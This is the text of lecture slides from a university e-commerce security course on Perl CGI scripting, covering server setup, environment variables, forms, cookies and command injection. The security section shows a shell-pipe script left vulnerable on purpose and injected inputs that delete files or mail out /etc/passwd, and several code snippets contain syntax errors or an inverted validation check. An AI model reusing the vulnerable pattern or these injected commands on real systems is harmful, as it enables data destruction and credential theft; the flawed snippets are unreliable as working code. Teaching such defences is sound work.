cgi scripting and vulnerabilities coen 351: e-commerce security

CGI Scripting and Vulnerabilities

COEN 351: E-commerce Security

Setting up a test website under Windows

IIS Built into Windows

Apache Easy download Requires installation and

configuration

Test Website under Windows

Install Apache on Windows XP http://httpd.apache.org/download.cgi

Install ActivePerl on Windows XP http://

www.activestate.com/Products/ActivePerl/

Configure Apache Use the instructions at

http://www.cgi101.com/book/connect/winxp.html


Test Website under Windows Start the Apache web server for a quick

test. You might need to disable IIS.

Go to Control Panel Administrative Tools Services and find IIS and stop it.

(You can always restart it.) Open up a command prompt and run the

Apache.exe. After you are done, kill the process with Ctr+C.

Then use your browser to go to localhost. If it works, you see a page.



Configuring Apache First create a directory that will

contain your web pages. Then edit the configuration file.



Since we are creating unsafe websites, remember to stop the Apache web-server when you are connected to the internet.


Test Website under Windows IIS

Install and activate service Set up directory for cgi pages.

Executables need execute permission, scripts need script or execute permission.

Need application mapping between the file name extension and the script.

IIS Manager (Administrative Tools IIS Manager)


Notice:

If you are actually using your machine as a web-server, disable all unused extensions to lower your “attack surface”.

Test Website under Windows Do not start Perl scripts with the shebang: #!

perl/bin/perl Instead

print "HTTP/1.0 200 OK\n";print "Content-type: text/html\n\n";

If you run a web-site, you need to take a number of precautions:

Use NTFS security attributes / user accounts to restrict access.

Place web-site on a different partition. Do not use default sites. Remove examples. Patch automatically. …

CGI with Perl Fundamentals

You are now ready to create a webpage in your home directory index.html

Next step is to try a cgi script.

#!/perl/bin/perl -wT print "Content-type: text/html\n\n"; print "<h1>Hi</h1>\n";

Path to the perl executable. Different from UNIX!


Creating dynamic web-pages with PERL Web server passes information to CGI

scripts via environment variables. CGI scripts produce output by printing

the HTTP message on STDOUT. CGI scripts do not need to printout full

headers.


Only simple header. Notice the double lines.

Print statement

CGI with Perl Fundamentals#! /perl/bin/perl -wTuse CGI::Carp qw(warningsToBrowser fatalsToBrowser);

print <<EHTML;Content-type: text/html

<html><head><title>Environmental Variables</title></head><body> <h1>Hi</h1> <pre>

Server $ENV{SERVER_NAME}Listening port $ENV{SERVER_PORT}Server software $ENV{SERVER_SOFTWARE}Server protocol $ENV{SERVER_PROTOCOL}CGI version $ENV{GATEWAY_INTERFACE} </pre>

</body></html>

EHTML

Shebang with path to PerlSends diagnostic messages to the browser. Remove before posting it.

This allows you to just type in code instead of using individual print statements. The closing EHTML (or whatever token you choose) needs to be in the first position in the line and followed by an empty line.

Environmental variables

CGI with Perl Fundamentals Environmental Variables

AUTH_TYPE CONTENT_LENGTH CONTENT_TYPE DOCUMENT_ROOT GATEWAY_INTERFACE PATH_INFO PATH_TRANSLATED


Environmental Variables QUERY_STRING REMOTE_ADDR REMOTE_HOST REMOTE_IDENT

Ident daemon: UNIX and IRC clients only REMOTE_USER REQUEST_METHOD


Environmental Variables SCRIPT_NAME SERVER_NAME SERVER_PROTOCOL SERVER_SOFTWARE

CGI with Perl Fundamentals Additional CGI Environment Variables:

HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING HTTP_ACCEPT_LANGUAGE HTTP_COOKIE HTTP_FROM HTTP_HOST HTTP_REFERER HTTP_USER_AGENT


Environmental Variables Secure server adds many more

environmental variables. X.509 server / browser certificates

HTTPS Used as a flag to indicate whether the

connection is secure. Values vary by server

“ON”, “on”, “Off”, “off”


#!/perl/bin/perl -wT

use CGI qw(:standard);use CGI::Carp qw(warningsToBrowser fatalsToBrowser);

my $email = "tjschwarz\@scu.edu";my $url = "http://www.cse.scu.edu";

print header;print start_html("Scalars");print <<EndHTML;<h2>Hello</h2><p>My e-mail address is $email, and my web url is<a href="$url">$url</a>.</p>EndHTML

print end_html;


CGI can output full or partial headers. Partial headers: One of

Content-type header Location header

Specifies URL to redirect the client to. Status header

E.g. “204 No response”

Delimited by TWO new-lines


When using a code, remember that the HTTP status message is not displayed.

Therefore, you might want to formulate your own error page.


Complete Headers: Need status line. Need Content-type line Need Server header.

The last two are given to you as environmental variables.

Called nph (non-parsed header) scripts

CGI with Perl Fundamentals Perl Modules

Pre-written code. Standard library modules. Other modules e.g. at Comprehensive Perl

Archive Network. CGI.pm module

Load with “use CGI qw(:standard);” Has various function names:

header start_html end_html


CGI.pm module print start_html(“hello”)

Prints out: <html><head><title>hello</title></head><body>

end_html Prints out:

</body></html>


Imperative version

use CGI qw(:standard); print header; print start_html("Hello World");

Object-Oriented Version

use CGI; # don't need qw(:standard) $cgi = CGI->new; # ($cgi is now the object) print $cgi->header; # function call: $obj->function print $cgi->start_html("Hello World");


Forms Allow browser to post data to server. Uses GET or POST message


HTTP request isPOST f1.cgi HTTP/1.1Host: localhostContent-Length: 40Content-Type: application/x-www-form-urlencode

name=Thomas+Schwarz&email=tschwarz%40scu.edu


HTTP request with GET would beGET /f1.cgi?name=Thomas+Schwarz&email=tschwarz%40scu.edu

CGI with Perl Fundamentals To read a form:

Read the query string from $ENV{QUERY_STRING}

If the $ENV{REQUEST_METHOD} is POST, determine the size of the request.

Split the result on the “&” character. Split each name – value pair Decode the URL decoded characters in

name and value. Associate each name with its values.


Using the CGI.pm module makes things much easier.

CGI Security

Security holes are exploited by user input. We need to check user input against

Buffer overflows etc. that cause a program to misbehave.

Input that is interpreted differently than the designer expects it.

CGI Security

Interpretation example: Assume that we call a program within

a script and pass user-provided parameters to the program.

CGI Security

Interpretation Example#!usr/bin/perl –wuse CGI

my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;

CGI Security

Interpretation Example We first verify that the user enters a

string. We use a pipe in order to stream the

output of app to the page. The “print while <PIPE>;” statement

takes the output one line at a time and prints it out.

CGI Security


my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;

CGI Security

Interpretation Example When Perl opens up a pipe, then user

input is passed through a shell Assume users types in ‘rm -rf /’ on a Unix

machine. The command would execute as if the

following command would have been entered into a shell:

$ /temp/app.exe “ \rm –rf /’ “

CGI Security Interpretation Example

When Perl opens up a pipe, then user input is passed through a shell

Assume users types in “; mail [email protected] < /etc/passwd” on a Unix machine.

The command would execute as if the following command would have been entered into a shell:

$ /temp/app.exe “”; mail [email protected] < /etc/passwd

CGI Security Interpretation Example

A simplistic countermeasure checks the input for bad characters, before we pass user input to the pipe.

This is a bad strategy because it only excludes possible attacks.

Much better to positively identify good input. Before 9/11, visa to US was granted unless there was

a positive reason to exclude some-one. (Bad list.) After 9/11, visa to US demands proof of good

attitudes. Bad policy maybe for the US, but good policy for web-

servers (unless you eliminate legitimate traffic).

CGI Security


my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}if ($string =~ /[‘\$\\” ‘ ;& … ] ) {error($q, “Bad input”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;

CGI Security

Interpretation Example We will only allow strings that are

alpha-numerical, have underscores, hyphens, periods, question marks, and exclamation points.

CGI Security


my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}if ($string =~ /^[\w.!?-]+$/ ) {error($q, “Bad input”);}local *PIPE;open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;

CGI Security

Interpretation Example This is much better.

But do we positively know that one could not write an attack string that way?

More importantly, a minor change can destroy the security.

Better not use this idea.

CGI Security

Interpretation Example Prevent the root problem:

Do not pass arguments through the shell. First fork. Then let child process call

exec.

CGI Security


my $App = /temp/app.exe’;my $q = new CGI;my $string = $q->param( “string” );unless ( $string ) { error( $q, “Need string parameter”);}local *PIPE;my $pid = open PIPE, “-|”;die “Cannot fork $!” unless defined $pid;unless ( $pid ) {

exec app, $ string or die “Cannot open pipe: $!”;print q->header(“text/plain” );print while <PIPE>;close PIPE;

CGI Security

DO NOT TRUST INPUT Data in hidden fields can be changed

by the user. Data in cookies can be changed.

Perl Taint Mode Perl offers some protection against

user input. In taint mode, Perl will not allow any

data from outside the application to affect anything outside the application. Tainted variables can not be passed to

eval shell calls on the file system

Perl Taint Mode Tainted variables taint variables calculated from them. However, to make things work, you usually need to

untaint variables: If a variable matches with a regular expression using () groups,

then they become untainted.

if ($email =~ /(\w{1}[\w-.]*)\@([\w-.]+)/) { $email = "$1\@$2"; }

else { warn ("TAINTED DATA SENT BY $ENV{'REMOTE_ADDR'}: $email: $!"); $email = ""; # successful match did not occur }

CGI Security

Data Storage Issues Danger: Opening files when the

filename is dynamically generated based on user input.

Move data files out of web server tree. Set file permissions.

Principle of minimal permission. Files that only need to be read should be owned

by nobody and should be write protected.

CGI Security

Learn the Odds and Ends Email

User should not be able to send email to anyone but a single entity.

Otherwise, it is trivial to fake email coming from your organization.

Maintaining State Query strings and extra path information

State information is lost when user leaves the website.

Need to parse the query string Hidden fields

Only with form submission. Cookies

Persistent. Need user enabling cookies.

Maintaining State

With query strings: Have a cgi script that handles every

request for an html page. If the URL does not contain an

identifier, then create a new identifier and give it to the user.

Script parses all links in the HTML page and resets them to contain a query string.

Maintaining State

With query strings: Running a cgi script with every

browser request eats up resources. mod_perl, Fastcgi embed the Perl

interpreter into the web server and perform better.

Otherwise, preprocess the document. I.e. every document is now dynamic.

Maintaining State

Hidden Fields Form submission goes directly to cgi

script.

Maintaining State

Client-side cookies Cookies are set in the http header.

Maintaining State

Client-side cookies Setting cookies within CGI module

my $cookie = $q->cookie( -name => “thomas”, -value => 123456, -domain => “scu.edu”

-expires => “+1y”,-path => “/cig”,-secure => 1 );

print $q->header( -type => “text/html”, -cookie => $cookie );

Maintaining State

Client-side cookies

cgi scripting and vulnerabilities coen 351: e-commerce security

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